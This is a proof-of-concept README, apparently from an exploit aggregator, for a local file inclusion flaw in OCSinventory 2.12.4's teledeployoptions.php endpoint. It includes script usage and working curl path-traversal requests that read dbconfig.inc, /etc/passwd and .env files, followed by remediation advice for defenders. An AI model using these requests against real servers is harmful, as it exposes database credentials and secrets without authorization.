Exploit for CVE-2026-16475

## https://sploitus.com/exploit?id=35873579-D4A7-5177-AB9E-F2F744B6A832
# CVE-2026-16475 - OCSinventory LFI PoC

Local File Inclusion vulnerability in OCSinventory 2.12.4

## Vulnerability Details

**CVE ID:** CVE-2026-16475  
**CVSS Score:** 6.9 (Medium)  
**CWE:** CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program)  
**Affected Version:** OCSinventory 2.12.4  
**Status:** Patched in latest versions  

### Description

A Local File Inclusion (LFI) vulnerability exists in the `/ajax/teledeployoptions.php` endpoint due to improper sanitization of the `linkedoptions` parameter before its use in a dynamic file inclusion operation.

An unauthenticated remote attacker can exploit this vulnerability to:
- Include and access arbitrary files within the application directory
- Disclose sensitive information about internal application resources
- Enumerate system files and perform OS fingerprinting

### Impact

- **Confidentiality:** HIGH - Access to arbitrary files (config files, source code, logs, system files)
- **Integrity:** NONE
- **Availability:** NONE
- **Authentication Required:** NO
- **User Interaction:** NO

## Usage

### Prerequisites

```bash
pip install -r requirements.txt
```

### Python Version (Recommended)

```bash
python3 exploit.py -u http://target.com -v
```

**Options:**
- `-u, --url` - Target URL (required)
- `-v, --verbose` - Verbose output
- `-o, --output` - Save successful reads to file

**Example:**
```bash
python3 exploit.py -u http://ocs.example.com -v -o results.txt
```

### Bash Version

```bash
./lfi_test.sh
```

Edit `BASE_URL` variable in the script:
```bash
BASE_URL="http://target.com/ajax/teledeployoptions.php"
```

## Targets Enumerated

- Application config files (dbconfig.inc, .env, config.inc)
- XML working files (bashscriptopt, executableopt, msiapplicationopt)
- System logs (apache2, mysql, auth)
- System files (/proc/*, /etc/*)
- Application secrets (composer, package files, .htaccess)

## Exploitation Example

```bash
# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"
```

## Remediation

**For Users:**
- Update OCSinventory to the latest version immediately
- Implement WAF rules to block directory traversal patterns

**For Developers:**
- Use `basename()` or similar functions to prevent path traversal
- Validate and sanitize all user inputs before file operations
- Implement proper access controls
- Use allow-lists for valid file paths

## References

- [INCIBE Advisory (ES)](https://www.incibe.es/index.php/incibe-cert/alerta-temprana/avisos/inclusion-de-archivos-locales-en-ocs-inventory)
- [NVD CVE-2026-16475](https://nvd.nist.gov/vuln/detail/CVE-2026-16475)
- [OCS Inventory GitHub](https://github.com/OCSInventory-NG/OCSInventory-ocsreports)

## Legal

**For Educational and Authorized Testing Only**

See DISCLAIMER.md for full legal notice.

## Author

Adrián Ferrer Tarí

---

*Responsible Disclosure Coordinated Through INCIBE*